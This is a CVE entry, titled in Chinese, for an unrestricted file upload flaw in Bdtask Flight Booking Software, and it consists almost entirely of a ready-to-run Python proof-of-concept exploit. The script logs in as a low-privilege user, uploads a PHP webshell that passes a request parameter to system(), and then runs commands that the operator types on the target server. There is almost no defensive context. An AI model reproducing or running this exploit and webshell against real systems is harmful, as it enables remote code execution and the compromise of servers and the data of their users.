CVE-2025-12223: Bdtask Flight Booking Software未限制文件上传漏洞

import requests import sys # CVE-2025-12223 PoC - Unrestricted File Upload in Bdtask Flight Booking Software # Affected Component: /b2c/package-information (Package Information Module) # Affected Version: Bdtask Flight Booking Software <= 3.1 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" login_url = f"{target_url}/login" upload_url = f"{target_url}/b2c/package-information" # Malicious PHP webshell webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'email': '[email protected]', 'password': 'password123' } response = session.post(login_url, data=login_data) # Step 2: Upload malicious file files = { 'package_image': ('shell.php', webshell_content, 'application/x-php') } data = { 'package_name': 'Test Package', 'description': 'Malicious package' } response = session.post(upload_url, files=files, data=data) # Step 3: Execute the uploaded webshell if response.status_code == 200: shell_url = f"{target_url}/uploads/packages/shell.php" cmd = input("Enter command to execute: ") exec_response = requests.get(f"{shell_url}?cmd={cmd}") print(exec_response.text)